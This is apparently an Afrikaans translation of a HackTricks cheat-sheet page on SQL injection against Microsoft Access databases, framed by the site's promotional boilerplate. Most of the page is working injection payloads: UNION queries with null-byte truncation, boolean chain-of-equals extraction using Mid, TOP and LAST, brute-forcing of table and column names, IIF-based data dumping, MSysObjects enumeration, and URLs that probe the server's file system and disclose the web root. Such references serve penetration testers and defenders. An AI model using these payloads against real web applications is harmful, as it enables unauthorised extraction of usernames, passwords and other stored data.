9.9 KiB
MS Access SQL-injeksie
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.
Aanlyn-speelplek
DB Beperkings
String-konkatenasie
String-konkatenasie is moontlik met die karakters & (%26)
en + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Kommentaar
Daar is geen kommentaar in MS Access nie, maar dit is blykbaar moontlik om die laaste deel van 'n navraag te verwyder met 'n NULL-teken:
1' union select 1,2 from table%00
As dit nie werk nie, kan jy altyd die sintaks van die navraag regmaak:
1' UNION SELECT 1,2 FROM table WHERE ''='
Gestapelde Navrae
Hulle word nie ondersteun nie.
LIMIT
Die LIMIT
-operateur is nie geïmplementeer nie. Dit is egter moontlik om die resultate van 'n SELECT-navraag te beperk tot die eerste N-tabelrye deur die TOP
-operateur te gebruik. TOP
aanvaar 'n heelgetal as argument wat die aantal terug te gee ryë verteenwoordig.
1' UNION SELECT TOP 3 attr FROM table%00
Net soos TOP kan jy LAST
gebruik wat die rye van die einde sal kry.
UNION Navrae/Subnavrae
In 'n SQLi wil jy gewoonlik 'n nuwe navraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in subnavrae of ekstra navrae 'n FROM
aangedui word.
Dus, as jy 'n UNION SELECT
of UNION ALL SELECT
of 'n SELECT
tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd 'n FROM
met 'n geldige tabelnaam aandui.
Daarom moet jy 'n geldige tabelnaam weet.
-1' UNION SELECT username,password from users%00
Ketting van gelykheid + Substring
{% hint style="warning" %} Dit sal jou in staat stel om waardes van die huidige tabel uit te voer sonder om die naam van die tabel te weet. {% endhint %}
MS Access maak gebruik van vreemde sintaksis soos '1'=2='3'='asd'=false
. Aangesien die SQL-injectie gewoonlik binne 'n WHERE
klousule sal wees, kan ons dit misbruik.
Stel jou voor jy het 'n SQLi in 'n MS Access databasis en jy weet (of het geradeer) dat een kolomnaam username is, en dit is die veld wat jy wil uitvoer. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting van gelykheidstegniek gebruik word en potensieel inhoud uitvoer met 'n boolean-injectie deur die Mid
-funksie te gebruik om substrings te kry.
'=(Mid(username,1,3)='adm')='
As jy die naam van die tabel en kolom wat jy wil dump ken, kan jy 'n kombinasie van Mid
, LAST
en TOP
gebruik om alle inligting te lek deur middel van boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Voel vry om dit in die aanlyn speelgrond te kontroleer.
Brute-forcing Tabelname
Met behulp van die ketting-ewekansige tegniek kan jy ook tabelname bruteforce met iets soos:
'=(select+top+1+'lala'+from+<table_name>)='
Jy kan ook 'n meer tradisionele metode gebruik:
-1' AND (SELECT TOP 1 <table_name>)%00
Voel vry om dit in die aanlyn speelgrond te kontroleer.
- Sqlmap algemene tabelname: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Daar is 'n ander lys in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Kolomname
Jy kan brute-force huidige kolomname met die kettinggelykheidstruuk met:
'=column_name='
Of met 'n groep deur:
-1' GROUP BY column_name%00
Of jy kan die kolomname van 'n verskillende tabel met brute force aanval:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Data dump
Ons het reeds die ketting gelykheidstegniek bespreek om data uit die huidige en ander tabelle te dump. Maar daar is ander maniere:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In 'n neutedop gebruik die navraag 'n "as-dan" verklaring om 'n "200 OK" te veroorsaak in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10-operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST maak dit moontlik om slegs die 10de tuple te oorweeg. Op sulke waarde, deur die gebruik van die MID-operator, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "gebruikersnaam" veld vir alle rye dump.
Tyd-gebaseerd
Ander interessante funksies
Mid('admin',1,1)
kry substring vanaf posisie 1 lengte 1 (aanvanklike posisie is 1)LEN('1234')
kry lengte van stringASC('A')
kry ASCII-waarde van karakterCHR(65)
kry string vanaf ASCII-waardeIIF(1=1,'a','b')
as danCOUNT(*)
Tel aantal items
Tabelle optel
Van hier kan jy 'n navraag sien om tabelle name te kry:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Dit moet egter opgemerk word dat dit baie tipies is om SQL-injeksies te vind waar jy nie toegang het om die tabel MSysObjects
te lees nie.
Toegang tot lêerstelsel
Volledige pad van webwortelgids
Die kennis van die absoluut pad van die webwortel kan verdere aanvalle vergemaklik. As die toepassingsfoute nie heeltemal weggesteek is nie, kan die gidspad onthul word deur te probeer om data te selekteer uit 'n nie-bestaande databasis.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access reageer met 'n foutboodskap wat die volledige gidsnaam van die webgids bevat.
Lêeropnoeming
Die volgende aanvalvektor kan gebruik word om die bestaan van 'n lêer op die afgeleë lêerstelsel te bepaal. As die gespesifiseerde lêer bestaan, veroorsaak MS Access 'n foutboodskap wat aandui dat die databasisformaat ongeldig is:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
'n Ander manier om lêers op te noem, behels die spesifisering van 'n databasis.tabel-item. As die gespesifiseerde lêer bestaan, vertoon MS Access 'n foutboodskap oor die databasisformaat.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Raai van .mdb-lêernaam
Die databasislêernaam (.mdb) kan bepaal word met die volgende navraag:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Waar name[i] 'n .mdb-lêernaam is en realTable 'n bestaande tabel binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal veroorsaak, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb-lêernaam.
.mdb-wagwoordkraker
Access PassView is 'n gratis hulpmiddel wat gebruik kan word om die hoofdatabasiswagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.